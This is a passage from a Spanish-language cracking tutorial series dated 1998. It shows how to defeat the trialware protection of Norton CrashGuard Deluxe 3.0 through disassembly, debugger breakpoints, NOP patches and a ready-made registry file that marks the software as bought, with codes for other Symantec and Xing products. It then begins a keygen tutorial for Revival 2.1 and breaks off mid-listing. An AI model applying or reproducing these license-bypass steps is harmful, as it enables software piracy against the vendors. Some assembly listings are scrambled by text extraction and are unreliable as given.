nuestra tarjeta de crédito. PRIMERA SORPRESA El sistema de pago no es de la propia Symantec, sino de la empresa Release Software Corporation:http://www.releasesoft.com) y su programa SalesAgen. Es la primera vez y veo que Symantec no controle todos los aspectos de una aplicación. SEGUNDA SORPRESA El fichero a estudiar es el Norton CrashGuard\cgmain.exe (229.376 bytes) por una simple razón, tiene el único fichero que tiene el icono que el del programa principal que aparece en la barra de tareas. Pero, en el mismo directorio aparece un extraño fichero llamado cgmain.dl_ (743.936 bytes). Mu raro, una librería aparentemente comprimida (y por tanto no utilizada) con un tamaño más grande que el ejecutable. Por que no está descomprimida la librería, ¿quizás por que no estamos registrados? :) Además aparece un ejecutable llamado cgmaipop.exe , cuyo nombre es mu parecido al fichero del programa que estamos analizando cgmain.exe y tiene un icono que tiene las letras RS, que curioso, justo las Iniciales del la empresa que dedica a comercializar el producto: Release Software. Si intentamos ejecutar cgmaipop.exe aparece que está preparando el Software. PREPARANDO?, ¿es que hay que precalentar los programas antes de instalarlos?. Luego aparece un mensaje de error indicando que no podemos ejecutar la aplicación, ¿quizás por que no estamos registrados? :-) Por si fuera poco, aparece otro fichero cgmaitky.dll (257.977) con un nombre muy parecido al de la aplicación que queremos estudiar y aproximadamente con el mismo tamaño. Y el colmo, en el otro directorio, donde reside el menú de la aplicación Norton CrashGuard Deluxe\CGDeluxe.exe aparecen los ficheros CGDelpop.exe con el logo RS y CGDeltky.dll. Análogamente para Norton CrashGuard Deluxe\checkup.exe

(el programa de testeo de la fecha del sistema) CheckUp.dl_,Checktky.dll Todo esto huele a chamusquina, seguro que estos ficheros tienen algo que ver a la hora de registrar el programa, y como veremos en la segunda pate del artículo, tienen que ver y MUCHO. LA APROXIMACIÓN DIFÍCIL AL ATAQUEEEEEEEEEEEEEE

Podríamos analizar esos extraños ficheros que han aparecido, y lo haremos en la segunda parte del artículo. Ahora atacaremos formalmente a Norton CrashGuard\cgmain.exe para analizar su esquema CINDERELLA de 30 días. Desensamblamos el programa con el w32dsam y obtenmos 3.5 MB de fichero. En las funciones importadas encontramos Addr:00045CC8 hint(00F5) Name: GetLocalTime . Bien, bien, asi que, aparentemente, está usando la tipica rutina para obtener la fecha del sistema. Si vemos quien la utiliza, estaremos en plena rutina de comprobación de fecha: fechaActual>fecha de caducidad? Solamente aparece la función getlocaltime que es utilizada una vez en el programa(¿por qué lo ponen tan fácil?) * Referenced by a CALL at Addresses: |:0040D5B4 , :0040DA44 , :0040DD3F; :0041E200 81ECCC000000 :0041E206 8D442410 :0041E20A 50

La rutina es llamada 3 veces

sub esp, 000000CC lea eax, dword ptr [esp+10] push eax

* Reference To: KERNEL32.GetLocalTime, Ord:00F5h | :0041E20B FF15BC544400 Call dword ptr [004454BC] :0041E211 8D4C2400 lea ecx, dword ptr [esp] :0041E215 51 push ecx * Reference To: KERNEL32.GetSystemTime, Ord:0135h | :0041E216 FF15B8544400 Call dword ptr [004454B8] ..... Además aparece la llamada tambien a

GetSystemTime.

Tras la llamada a GetSystemTime los valores de año, mes, día,.... son extraídos de la pila y guardados en los registros :0041E21 mov dx, word ptr [esp+0A] De los registros pasan a unas variables globales :0041E2AA mov dword ptr [0042F7F0], edx Recordad, cualquier posición de memoria fija como [0042F7F0], es utilizada como variable global por el programa. Despues se reintroducen en la pila el año, el mes, el

día,.... y se llama a la rutina :0041E310 call 00423420. En esta rutina es donde se realiza la encriptación de la fecha,al finalizar, devuelve en eax la fecha encriptada y además de guardarse en :0041E323 mov dword ptr [ecx], eax Es más, las tres llamadas a :0041E200 obtendrán en eax la fecha encriptada de vuelta por call 00423420. Nos os voy a aburrir con diciendo como es la rutina de encriptación. Simplemente decir que utiliza la siguiente fórmula : t=seconds+(secondsMinute*minutes)+(secondsHour*hour)+(secondsDay*day)+ (secondsDay*daysMonth[month])+(secondsYear*(year-1900))+(secondsDay*(((year1900)-1)/4)); fin=(t+fixValue); Siempre es más fácil comparar un número que comparar años, días, meses,... por eso la fecha se transforma en un número. He construido un pequeño programa NORTON.EXE en C que realiza todo el proceso de encriptación de la fecha. Este programa esta incluido con la version en formato *.doc de este texto. Los fuentes de estos programas puedes bajarlos aqui. Bien, lo lógico, es que una vez encriptada la fecha se compruebe con la fecha de caducidad que debe estar encriptada. Si analizamos las tres llamadas a :0041E200 tenemos: * La llamada desde :0040D5B4, se limita a guardar la fecha encriptada :0040D641 mov dword ptr [esi+000002AC], eax * La llamada desde :0040DA44, :0040DD3F hacen prácticamente lo mismo, mueven la fecha encriptada que estaba en eax a un registro, hacen una llamada a call 40DC40 y despues comprueban la fecha encriptada con [edi+00000284] En concreto para la llamada desde :0040DD3F :0040DD4B mov ebx, eax :0040DD62 push ebx :0040DD63 call 0040DC40 :0040DD7B cmp dword ptr [edi+00000284], ebx :0040DDBF ja 0040DDE4 En concreto para la llamada desde :0040DA44 :0040DA54 mov edi, eax :0040DA5F push edi :0040DA60 call 0040DC40 :0040DAB2 cmp dword ptr [ebx+00000284], edi :0040DAB8 ja 0040DACE

Esto suena a una doble comprobación temporal, serán desconfiados estos chicos. ¿Pero que hace la llamada a call 0040DC40?, para ello cerramos el cgmain.exe: botón derecho sobre el icono de la N y el escudo y exit. Abrimos el loader del Softice y seleccionamos Norton CrashGuard\cgmain.exe y ponemos un bpx 40DC40 y lanzamos el programa. Aparecemos en el Softice, pulsamos F10 y vemos que ha sido llamada desde :40DD63. Cerramos el cgmain.exe otra vez, ponemos el softice un bpx 40DD63 y lanzamos el programa y prestamos atención a ebx que es el que contiene la fecha encriptada. La llamada a call 0040DC40 simplemente realiza la siguiente comprobación :0040DC56 cmp edx, eax; compara fechaAnterior,fechaActual :0040DC58 ja 0040DC64; Salta si eres un mal chico. fechaAnterior es la fecha encriptada el la que se arrancó por última vez el programa, fechaActual es la fecha encriptada obtenida de :0041E200. Es una simple comprobación para ver si hemos echado para atrás el reloj. La comprobación cmp dword ptr [ebx+00000284], edi; Análogamente cmp dword ptr [edi+00000284], ebx ja 0040DACE; Análogamente ja 0040DDE4 Comprueba fechaCaducidad > fechaActual Si es mayor estamos en el período de prueba. LA FECHA DE CADUCIDAD

La pregunta es, ¿de donde se guarda la fecha de caducidad encriptada? .Poniendo un bpr ebx+00000284 ebx+00000284+5 descubrimos que la fecha de encriptación se guarda en el registro del sistema y es recuperada por la llamada a la función :40BD89 RegqueryValueEXA. En concreto, se guarda en HKEY_CLASSES_ROOT\Ultxfile\Format\MSHAEZDOC\write En mi caso, el valor de write es: 01 02 03 04 05 06 07 08 01 02 03 04 05 06 07 08 09

00 00 00 05 B7 FF FF F8 00 00 00 00 00 00 10 00 08 00 00 00 08 00 00 00 00 00 00 06 B3 36 71 A1 FB 0F 81 A5 20 80 00 06 B7 9F A9 A0 00 00 00 00 00 00 00 06 B3 36 71 A0 C3 28 00 00 18 00 00 00 00 00 00 00 00

La fecha de caducidad está en write(5,7) hasta write(6,5) ambos inclusive. Lo curioso, es que la fecha está codificada, por ejemplo si la fecha de caducidad es 0034F5F3D6 se guarda en write 0006B79FA9A000. La rutina de encriptación está en :40C0D6 y se basa en la operación or :0040C0D6 :0040C0D8 :0040C0DA :0040C0DD :0040C0DE :0040C0E1 :0040C0E2 :0040C0E4 :0040C0E5 :0040C0E8

8A18 8A11 C0E305 48 C0EA03 49 0ADA 4E 885101 885901

mov bl, byte mov dl, byte shl bl, 05 dec eax shr dl, 03 dec ecx or bl, dl dec esi mov byte ptr mov byte ptr

ptr [eax] ptr [ecx]

[ecx+01], dl [ecx+01], bl

He creado dos programas DECODE que decodifica el valor de write y CODE que codifica un valor de fecha para introducirlo en write. CHECKSUMS PARAINOCOS

Los puntos de ataque son claros 1.- Parchear las comprobaciones en el ejecutable. 2.- Introducir una fecha caducidad en el año 30000. 1.- Si parcheamos el programa, se produce un error tan gordo que se casca windows. Esto se puede deber a que hemos crackeado mal obien exite un checksum. Para salir de dudas, basta con modificar alguna cadena de caracteres del ejecutable original Por ejemplo "not be run in DOS mode" lo pasamos a "not be RUN in DOS mode", si se casca es que hay un checksum, como en este caso. Un checksum es una comprobación para ver si el ejecutable se ha modificado, normalmente se realiza sumando (XOR) los bytes del ejecutable y guardando este valor algún sitio (ejecutable, registro del sistema). El programa al arrancar suma (XOR) los bytes del ejecutable actual y comprueba la suma con el valor que tenía guardado. Si hay algún problema es que un virus o un cracker ha modificado el programa y esto nunca es bueno para el programador. En el caso del Norton CrashGuard Deluxe 3.0, el checksum se realiza de otra forma. Os acordais del fichero cgmaitky.dll, si hombre ese que nos parecía tan sospechoso. Pos bien, guarda todos los bytes del cgmain.exe encriptados (de ahí que tuvieran un tamaño tan parecido ambos ficheros). La rutina de checksum,simplemente consiste en coger de 16 en 16 los bytes del cgmain.exe encriptarlos y ver si son iguales a 16 bytes del fichero cgmaitky.dll. Si existe alguna diferencia se produce un error de protección general y se casca todo. Para complicarlo todo, las rutinas de comprobación (ver si los 16 bytes del ejecutable

son iguales a los 16 bytes del cgmaitky.dll) no están metidas en un bucle, sino que estan a lo extenso. Es decir, hay una rutina de comprobación para los 16 primeros bytes, otra disinta para los 16 siguientes. Si queremos parchear el checksum, habrá que modificar unas 30 comprobaciones. Es curioso, pero existe un flag que desactiva la llamada al checksum :0040862D jne 00408695 si obligamos a saltar siempre, evitamos el checksum. PERO, ¿POR QUE EXISTE UN FLAG PARA EVITAR EL CHECKSUM?, ¿es que el programa cgmain.exe va a modificarse? Como veremos más tarde, así ocurrirá. 2.- Con el programa NORTON se crea la fecha de caducidad que queremos, con el programa CODE se encripta y ya sólo hay que introducir el resultado en HKEY_CLASSES_ROOT\Ultxfile\Format\MSHAEZDOC\write en las posiciones write(5,7),write(6,5) CHECKSUMS HASTA EN LA SOPA

Cuando la fecha de caducidad ha vencido, el programa deja de funcionar parcialmente, si analizamos el porqué descubrimos que el byte [esi+00000568] controla todo el meollo. En concreto, Si [esi+00000568] = 02 You cannot Run this Application Si [esi+00000568] = 20 Your computer application source has changed Si [esi+00000568] = 08 Your free trial period is over Si [esi+00000568] = 04 OK Pero, ¿cómo se rellena este byte?. Siguiendo la pista hacia atrás descubrimos que se carga a partir de HKEY_CLASSES_ROOT\Ultxfile\Format\MSHAEZDOC\open 00 01 02 03 04 05 06 07 1 00 00 00 00 30 00 00 00 2 00 00 00 00 00 00 10 00 3 08 08 00 00 20 00 00 00 4 00 00 00 00 00 00 00 00 En concreto de write(3,4). Hay que tener cuidado por que está encriptado, así que hay que utilizar el programa DECODE. Osea , si en write(3,4)=20 indica que al desencriptarlo [esi+00000568]=4. Si write(3,4)=40 la fecha de caducidad ha vencido. Si ha pasado la fecha de caducidad y asignamos write(3,4)=20, el programa replica diciendo que hemos trampeado los recursos. ¿QUE PASA AQUÍ?. Mu facil, HAY UN CHECKSUM en la sección HKEY_CLASSES_ROOT\Ultxfile\Format\MSHAEZDOC\open. Estos es paranoico, un checksum en el propio registro del sistema. En concreto, el checksum está en write(1,4). Se deja como ejercicio localizar y destruir este checksum. LA MISMA PROTECCIÓN EN TODOS SITIOS

Aunque parezca increíble, los ficheros CGDeluxe.exe y CheckUp.exe tienen

exactamente la misma protección que cgmain.exe y además en los mismos offset, osea en las mismas direcciones de memoria. Esto es extremadamente extraño, así que adoptaremos otra vía de ataque. LA APROXIMACIÓN FÁCIL Veamos lo que tenemos: - Unos ficheros extraños asociados a los ficheros importantes. Sabemos la función de uno de ellos los *tky.dll sirven de checksum, pero y el resto para que sirven? - Un flag que desactiva el checksum del ejecutable. - Unos misteriosos fichero ejecutables con el logo RS que dicen que tiene que prepara el Sotware. Nos centraremos en los ejecutables con los logos RS. REUNIENDO LAS PIEZAS

Para cada utilidad , p.e. CGDeluxe.EXE existe un fichero, CGDeltky.dll, que realiza funciones de checksum (como ya vimos), una librería de un gran tamaño , CGDeluxe.dl_ ,y un ejecutable CGDelpop.exe que "prepara el Software". No hay que ser un lince para darse cuenta que CGDelpop.exe "prepara" de alguna forma CGDeluxe.dl_ para aportar toda la funcionalidad a CGDeluxe.EXE. Esta "preparación" sólo se realiza cuando estamos registrados. Por tanto, se parte de un archivo ejecutable de un tamaño inferior a la versión completa del programa. Una vez realizado el proceso de compra se activa otro ejecutable que convierte la versión de prueba en versión completa . Todas las demás utilidades que acompañan al Norton CrashGuard Deluxe tienen el mismo proceso (CheckUP.exe ->Checkpop.exe, Checkup.dl_, Checktky.dll) (Cgmaipop.exe ->cgmain.exe, cgmaitky.dll) LA COMPRA VIRTUAL

Nos centraremos en el asistente (CGDeluxe.EXE) de compra que vimos en nuestra "Primera Aproximación" : Doble click en el escudo con la N que hay en el escritorio y al pulsar el botón Buy Now (comprar ahora) aparece el asistente de compra. Este será nuestro punto de entrada. Si pensamos un poco observaremos que la aplicación que lanza el proceso de compra debe saber si la compra ha tenido éxito o no. Por tanto, será por aquí por donde centremos nuestros esfuerzos . Además debe de anunciar de alguna forma al resto de utilidades que la compra ha tenido éxito para

que ellas también se "preparen" Analizaremos el ejecutable CGDeluxe.exe (que el que se lanza al pulsar el icono del escritorio) y observaremos como "compra". Nada mejor que usar un desensamblador para investigar el programa CGDeluxe.exe (224 Kb). Una vez aparece el listado observamos que hace uso de la librería comercial RSAGNT32.DLL (encargada de realizar la compra virtual) y que existen un referencias a funciones tales como SAInitialize, startSalesAgent. Estas van a ser nuestras funciones de aproximación. Pulsamos en el botón de Imported Functions (Imp Fn) y hacemos doble click en la línea de rsagnt32.startSalesAgent. Aparecerá en el listado lo siguiente: * Reference To: rsagnt32.startSalesAgent, Ord:000Eh :00407834 :00407839 :0040783C :00407844

E807F30000 83C408 66833D0425430000 742B

Call 00416B40 ß Llamada al asistente add esp, 00000008 cmp word ptr [00432504], 0000 je 00407871

Echamos un vistazo hacia arriba y hacia abajo del listado y vemos que nos encontramos en un bloque de código que se encarga de cargar, iniciar, ejecutar, terminar el asistente de compra Buscamos donde puede empezar el bloque. Y un poco mas arriba encontramos:

///////////// INICIO DE BLOQUE //////////////// * Referenced by a CALL at Address: :00406752 ßdesde aquí es llamado el bloque del asistente de compra :004077B0 A1B07B4300 mov eax, dword ptr [00437BB0] :004077B5 53 push ebx : : : : * Reference To: rsagnt32.startSalesAgent, Ord:000Eh ß Aquí hemos comenzado la busqueda :00407834 asistente :00407839 :0040783C :00407844 :00407846 : : :00407878 :00407879

E807F30000

Call 00416B40

83C408 66833D0425430000 742B BFE0A54300

add esp, 00000008 cmp word ptr [00432504], 0000 je 00407871 mov edi, 0043A5E0 : : pop edi pop esi

5F 5E

ß Llamada al

:0040787A 5B :0040787B C3

pop ebx ret

///////////// FIN DE BLOQUE ////////////////

Ahora una vez que conocemos desde donde hemos llamado al bloque, usamos el menu Goto à Goto Code Location y escribimos el desplazamiento 406752. Aquí observamos lo siguiente: * Possible Reference to String Resource ID=00001: "Turnkexe" :00406748 C705C826430001000000 mov dword ptr [004326C8], 00000001 :00406752 E859100000 call 004077B0 ß Entrada en el bloque anterior :00406757 66392D04254300 cmp word ptr [00432504], bp :0040675E 0F84F4010000 je 00406958 :00406764 BF34254300 mov edi, 00432534

Ummmm…. Aquí ya tenemos una bonita dirección de memoria (variable global) para usar con Softice.Pero antes añadamos la librería RSAGNT32.DLL. al la lista de dll que sabe manejar el Softice. Abrimos el Symbol Loader de Softice y en el menu Edità Softice Initialization SettingsàExports añadimos RSAGNT32.DLL. Abrimos el Symbol Loader y cargamos (Load) el programa CGDeluxe.exe. Ya en el SoftIce: Bpx 406752 Bpx startSalesAgent Pulsamos F5 y cuando aparezca la ventana de "Welcome to Symantec Trialware" pulsamos sobre el botón "Buy Now". Aparecer en el Softice en el primer breakpoint Bpx 406752 Seguimos ejecutando, paramos en la función startSalesAgent cs:00407834 de compra cs:00407839 cs:0040783C cs:00407844 comprado

E807F30000

Call rsagnt32!startSalesAgent ß Asistente

83C408 66833D0425430000 742B

add esp, 00000008 cmp word ptr [00432504], 0000 je 00407871 ß si salta, has

Nopeamos el asistente de compra. Esto es, sustituimos la llamada por instrucciones inonfesivas. En : 00407834 90 90 90 90 90 Si estudiamos je 00407871 y hacemos que no vaya a la dirección 407871 aparece una

ventana contándonos que se ha grabado un archivo llamado Rslicens.txt pero esto no hace que se active el proceso de compra, este nos es el camino. Otra comparación interesante se encuentra después de la rutina de entrada al bloque cs:00406752 E859100000 call 004077B0 ß Bloque anterior cs:00406757 66392D04254300 cmp [00432504], bp ßComparación Interesante cs:0040675E 0F84F4010000 je 00406958 cs:00406764 BF34254300 mov edi, 00432534 Cuando nos encontremos sobre la dirección cs:0040675E cambiamos el flag de cero que estará activada (Z) y la colocamos a desactivada (z). Ahora el programa seguirá en cs:00406764. Pulsemos F5 y veamos que ocurre. Ha aparecido una ventana que nos dice que esperemos mientras nuestro programa esta siendo preparado (Please wait while your software is being prepared). Al fin, se "PREPARA EL SOFTWARE" Nota: Si el proceso anterior se repite muchas veces conviene que cerremos todos los programas que tengamos activo e incluso el mismo Norton Crashguard que tengamos en la barra de tareas. Una vez completado este proceso habremos comprado virtualmente el Norton crashguard Deluxe. Observaremos que han desaparecido los ficheros CGDeluxe.dl_ y CGDeltky.dll y han aparecido dos archivos de licencia RSLICENS.txt y LICENSE.xxxxxx (números de licencia) Este proceso realizado en tiempo real con el Softice no trae ningún problema… pero a la hora de hacer los parches no encontraremos problemas con los checksum .Pero..TRANQUILOS QUE TODO TIENE SOLUCION. MODIFICANDO EL REGISTRO

Usaremos una herramienta muy útil para los crackers el programa Regmonitor (si no lo tienes consíguelo) .Observamos unas variables que lee el programa (no registrado) al principio y tenemos: HKCR\ultxfile\Format\MSHAEZDC\write /* Esta nos suena */ HKCR\ultxfile\Format\MSHAEZDC\xlate HKCR\ultxfile\Format\MSHAEZDC\open /* Esta nos suena*/ Bien, basta comparar los valores antes y después de "preparar" el software, para darse cuenta que la única modificación la realiza en open. Cuando está registrado su valor es: HKEY_CLASSES_ROOT \ultxfile\Format\MSHAEZDC\open 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 10 00

08 08 00 00 10 00 00 00 - 00 00 00 00 00 00 00 00 Esta es la forma en que se comunica al resto de utilidades que la compra ya ha tenido éxito. Y YA ESTÁ, basta con introducir este valor en el registro para que quede registrado el Norton CrashGuard Deluxe 3.0 MSHAEZDC corresponde al programa en cuestión a comprar. Usando el regmonitor vemos que clave busca el programa a desproteger y anotamos el código (MSHAEZDC). Esta táctica se ha probado con éxito con las siguientes aplicaciones protegidas por la compañía Release Software Corporation : Norton utilities, Norton Uninstaller, Norton Antivirus, Xing MPEG Encoder, Creando un archivo de registro ya tenemos hecho un crack no destructivo ya que no modifica ningún ejecutable. ----------------------------------- Cortar por aquí -------------------------------------------------REGEDIT4 ; (c) ESTADO+PORCINO 1998 ; Modificación de registro para Norton Crash Guard Deluxe ; Mr.Red & otras hierbas ; [HKEY_CLASSES_ROOT\ultxfile\Format\MSHAEZDC] "open"=hex:00,00,00,00,00,00,00,00,00,00,00,00,00,00,10,00,08,08,00,00,10 ,00,00,00,00,00,00,00,00,00,00,00 ----------------------------------- Cortar por aquí --------------------------------------------------

Para los demás programas que usan esta protección tenemos: Xing MPEG Encoder códigoà MSHVEMAV Norton Utilities códigoà MSHVEM0E Norton Unisntaller códigoà MSHW2EHL Bueno ha sido largo pero ha merecido la pena. MORALEJA: Si quieres poner una puerta, procura que no sea de papel. Es el colmo de la incompetencia. Confías la venta de tu producto a un empresa que proporciona una protección ridícula que no vende tu producto si no que prácticamente lo regala. Por que no invertir la millonada que Symantec habrá pagado a Release Software Corporation encontrar a unos buenos programadores en ensamblador que hicieran una protección decente.Además, esta compañía protege y vende productos de más empresas a parte de Symantec.

Basta pasarse por su web http://www.releasesoft.com y comprobar lo orgullosos que están de sus clientes. Realmente, no creo que esta compañía dure mucho. La importancia de este artículo radica en que se ha conseguido solventar con éxito la protección de una casa de Software dedicada a proteger y vender. Quedan a nuestros pies cientos de programas , con una protección de papel, gracias a la incompetencia de una avariciosa compañía. Mejor sería que diera los programas gratis, y de dejara de hacer el ridículo. Mr_PinK & WKT ( WHISKEY KON TEKILA ) Esperamos vuestras opiniones, sugerencias y ensayos en [email protected] En breve analizaremos tipos de protecciones mucho más interesantes. Recordad bebed de la fuente, buscad a +ORC en la red.

COMO CRAKEAR POR ESTADO+PORCINO

CAPÍTULO IV. Haciendo de Cerrajeros -Generadores de Llaves (KeyGen)Revival 2.1 Mayo 1998

Indice INTRODUCCIÓN Generadores de Llaves ¿Es posible crear un Generador de Llaves? ¿Pos mu bien, pero que necesito pa hacer un Generador de Llaves? ¿Merece la pena hacer un Generador? Generador de Llaves para REVIVAL 2.1: Notas para los lectores

INTRODUCCIÓN ¡Saludos Familia! Aprovechando las vacas estivales me he decidido por escribir un bonito Generador de Llaves (en inglés KeyGen) para un útil programa de reparación de discos duros y disquetes. Como siempre un poco de Teoría para que podamos entendernos.

Generadores de Llaves. La primera pregunta que responder es ¿qué carajo es un Generador de Llaves? Suponed por un instante que sois unos de esos programadores perezosos y cegados por el dinero que ha construido un programa protegido con un número de serie. Si

alguien desea registrarse debemos pagar una cifra de dinero (pequeña o no) que hará engrosar nuestra cuenta. A cambio debemos de enviarle un número de serie que desbloquee el programa. ¿Hasta ahora todo correcto, verdad?. ¿Pero como demonios se genera un número de serie diferente para cada usuario? . La respuesta es: con un Generador de Llaves. Existen dos tipos de Generadores de Llaves: A- Dependientes de los datos del cliente. B- Independientes de los datos del cliente. El tipo A es el más extendido, el número de serie se genera a partir del nombre del cliente y el de su dirección de correo (por ejemplo). Así dos usuarios tendrán números de serie diferentes, por que en principio sus datos personales son diferentes. El tipo B está un poco en desuso, pero se siguen viendo por que son fáciles de programar (recordad que los programadores son por naturaleza vagos y sin imaginación). El mismo número de serie es válido para cualquier cliente. En estos casos, el programador da un número diferente a los clientes pardillos que compran su producto y reza para que no se lo den a nadie.

¿Es posible crear un Generador de Llaves? El programa Generador de Llaves está normalmente en el ordenata del programador, entonces, ¿cómo demonios puede un cracker construir un Generador ?. La respuesta es sencilla pero difícil (en general) de realizar. El programa debe verificar que el número de serie que introducimos es válido y ésto sólo puede hacerlo verificando ciertas propiedades que debe cumplir el número de serie y que fueron establecidas por el Generador. ¿Un poco lioso verdad?, dicho de otra forma, el Generador es un codificador de números de serie y en el programa sólo existe un decodificador que descifra el número de serie introducido. Vemos un sencillo ejemplo, suponed que nuestro Generador es el siguiente: NúmeroSerie=(89934*4)*(nombre(5)) Donde nombre(5) es la quinta letra del nombre del usuario. EL número 89934 es el llamado número mágico, un número que es de agrado del programador (quizás el número de veces que le ha su jefe le ha jodido) y que realmente es el corazón del Generador

En el programa, para ver que el número de serie es correcto se debe de verificar: (NúmeroSerie/(4 /nombre(5)) = 89934 Como podéis apreciar, lo que hay en el programa es la inversa del Generador, por tanto si invertimos la inversa podemos obtener el Generador de Partida. No os engañéis, este es un Generador sencillo, lo normal es que esté ultra enrevesao , lleno de números mágicos y operaciones aritméticas exóticas. Normalmente, las rutinas de verificación realizan ciertas comprobaciones sobre la password de entrada. Generalmente pasan a mayúsculas y buscan ciertos caracteres en ciertas posiciones. En caso de no encontrarlos la password no es válida. Esto da pie a un truco mu útil pa localizar di una forma directa la rutina. Pero esto lo veremos más adelante. ¿Pos mu bien, pero que necesito pa hacer un Generador de Llaves? 1.- Lo primero es aislar el código del programa que verifica el número de serie. Además del código que las funciones que son llamadas desde la rutina de verificación (pa Saber que narices hacen). Normalmente las rutinas de verificación hacen uso de pequeñas rutinas: convertir a mayúsculas,convertir letras en números... 2.- Un conocimiento exhaustivo, repito, exhaustivo del la rutina de verificación. Debemos saber TODO lo que hace y porqué lo hace. Recordad que tenemos que invertir su funcionamineto y esto no lo podemos hacer si no sabemos como funciona. Este es el punto más delicado y el que consume más tiempo. Dependiendo de las paranoias del programador podéis tardar horas o semanas. Se necesitan conocimientos de ensamblador y de operaciones aritméticas binarias 3.- Invertir el funcionamineto del Generador y crear con un compilador, por ejemplo de C nuestro propio Generador. ¿Merece la pena hacer un Generador? La respuesta es depende. Hacer un Generador no es nada sencillo, consume mucho tiempo y habilidades. Es mucho más fácil parchear la rutina de verificación para que acepte cualquier cosa. Pero las ventajas de crear un Generador son muy importantes, primera y ante todo es que realmente se está cumpliendo con la filosofía crack (ingeniería inversa) al comprender y transformar el programa para que adapte a nuestras necesidades. Segúnda ventaja son los conocimientos que se captan sobre todo a nivel ensamblador y de operaciones aritméricas con bits. Tercera y no más importante la satisfacción del trabajo artesano, bien hecho. Esa satisfacción que nos hace seguir adelante.

La cuarta ventaja tiene que ver con la historia del Software. Puedes "coleccionar" las protecciones de tu programa favorito y ver la evolución de su software. Y como quinta un fin práctico, al final del proceso se obtiene un número de serie válido, lo que te convierte en un usuario "legal" y problamente no tengas que crakear la próxima versión.

Generador de Llaves para REVIVAL 2.1 Objetivo: REVIVAL 2.1 Nombre: revive21.zip Tamaño: 874.644 bytes Versión: 2.1 Site: http://uc2.unicall.be/revival/ Herramientas: SoftIce,W32dasm o IDA 3.75 y un compilador de C. Dificultad: No mu difícil. Tiempo: 5 horas. Este es un interesante programa que te permite recuperar ficheros borrados de discos duros y disquetes que soporta FAT32 y NTFS. Tiene una típica ventana de registro a partir de la cual podemos acceder directamente a la rutina de verificación de la pass. Esta rutina es extremadamente sencilla e independiente de los datos del usuario, por eso ha sido la elegida como demostración. Aconsejo desensamblar con el IDA PRO 3.75(una pequeña maravilla de desensamblador). Se puede hacer con el W32dasm pero el IDA nos da más información y nos ahorra trabajo. Por ejemplo descubre de forma automática rutinas (_touper, isdigit...) que no son reconocidas como tales por el W32dasm. Bien, manos a la obra, desensamblemos con el IDA. ¿Ya está? Bien, ahora sólo hay que localizar la rutina de verificación. Empleemos un viejo truco: el 80% de las rutinas de verificación intentan localizar el carácter '-' (2D en hexa) o el carácter '+' (2B en hexa). No me preguntéis por qué, pero lo hacen. Sólo hace falta buscar un 2Dh o un 2Bh y con un poco de suerte aterrizaremos en plena rutina de verificación. Debemos buscar una comprobación con 2Dh o bien 2Bh, pero como las comprobaciones pueden ser de muchos tipos , sólo buscaremos la parte final de la comprobación. Resumiendo, buscaremos ", 2Dh" y ", 2Bh". En caso de existir demasiadas ocurrencias, mejor decantarse por otro método de ataque. Al final es el olfato de

cracker el que te indica si estás en la ocurrencia correcta o no. En este caso hay 20 ocurrencias de "2D" y 18 de "2B". UFF, quizás demasiadas (de hecho es la primera ocurrencia de "2D" la correcta), así que probemos un método más directo con el Softice. Metemos como nombre ESTADO, como campañía PORCINO y como número de serie estúpido por ejemplo 1212121212. CTRL+D y le damos al botón de OK y aparece una ventana de error. Esta ventana se parece a un messageboxexa (por su simplicidad y por el icono en forma de exclamación y por el único botón que aparece). Si repetimos el mismo proceso pero poniendo en el softice bpx messsageboxexa y pulsamos el botón de OK ... Bingo, aparecemos en la rutina de messageboxexa. Sólo hay que seguir la secuencia de llamadas hacia atrás buscando un salto que evite llamar a la ventana de mensaje de error. La secuencia de pasos es: * Paramos en bpx messageboxexa * Pulsamos F12 para llegar a la rutina padre que llamó a messageboxexa. * Aparecemos en :4313CA pero por se ve ningún salto que evite la llamada a messageboxexa. * Pulsamos F12 para seguir subiendo hasta la rutina padre. * Aparecemos en :43145D. Pero de nuevo nada interesante. * De nuevo F12 y .... * Aparecemos en :40CAAC8, esta si tiene lo que buscamos, exactamente. 0040AA6C 0040AA71 0040AA74 0040AA76 CRACKER. 0040AA78 0040AA7F 0040AA82 0040AA83 0040AA88 0040AA8D 0040AA90 0040AA93 0040AA94 0040AA99 0040AA9E 0040AAA1 0040AAA3 0040AAA4 0040AAA9 0040AAAE 0040AAB1 0040AAB3 0040AAB8 0040AABA ;

call add test jz

sub_40CD10 ; RUTINA DE VERIFICACIÓN esp, 4 eax, eax short loc_40AABA; SALTA SI ERES UN MAL

mov mov push push call add mov push push call add mov push push call add mov call jmp

dword ptr [esi+5Ch], 1 eax, [esi+64h] eax offset aName;NOMBRE. sub_40AD70 esp, 8 eax, [esi+60h] eax offset aCompany;COMPAÑÍA. sub_40AD70 esp, 8 eax, [edi] eax offset aSerial;NÚMERO DE SERIE. sub_40AD70 esp, 8 ecx, esi sub_42550E short loc_40AACF

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ 0040AABA 0040AABA loc_40AABA: ; CODE XREF: sub_40AA20+56_j 0040AABA push 0FFFFFFFFh 0040AABC push 30h 0040AABE push 0EF1Fh ; DIRECCION DEL MENSAJE DE ERROR 0040AAC3 call sub_431413 ; VENTANA DE MESAJE DE ERROR 0040AAC8 mov ecx, esi 0040AACA call sub_425527 0040AACF 0040AACF loc_40AACF: ; CODE XREF: sub_40AA20+98_j 0040AACF push 0FFFFFFFFh 0040AAD1 mov ecx, edi 0040AAD3 call sub_429A33 0040AAD8 pop edi 0040AAD9 pop esi 0040AADA retn 0040AADB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ 0040AADB 0040AADB loc_40AADB: ; CODE XREF: sub_40AA20+25_j 0040AADB ; sub_40AA20+40_j 0040AADB push 0FFFFFFFFh 0040AADD push 30h 0040AADF push 0EF1Eh 0040AAE4 call sub_431413 0040AAE9 pop edi 0040AAEA pop esi 0040AAEB retn 0040AAEB sub_40AA20 endp

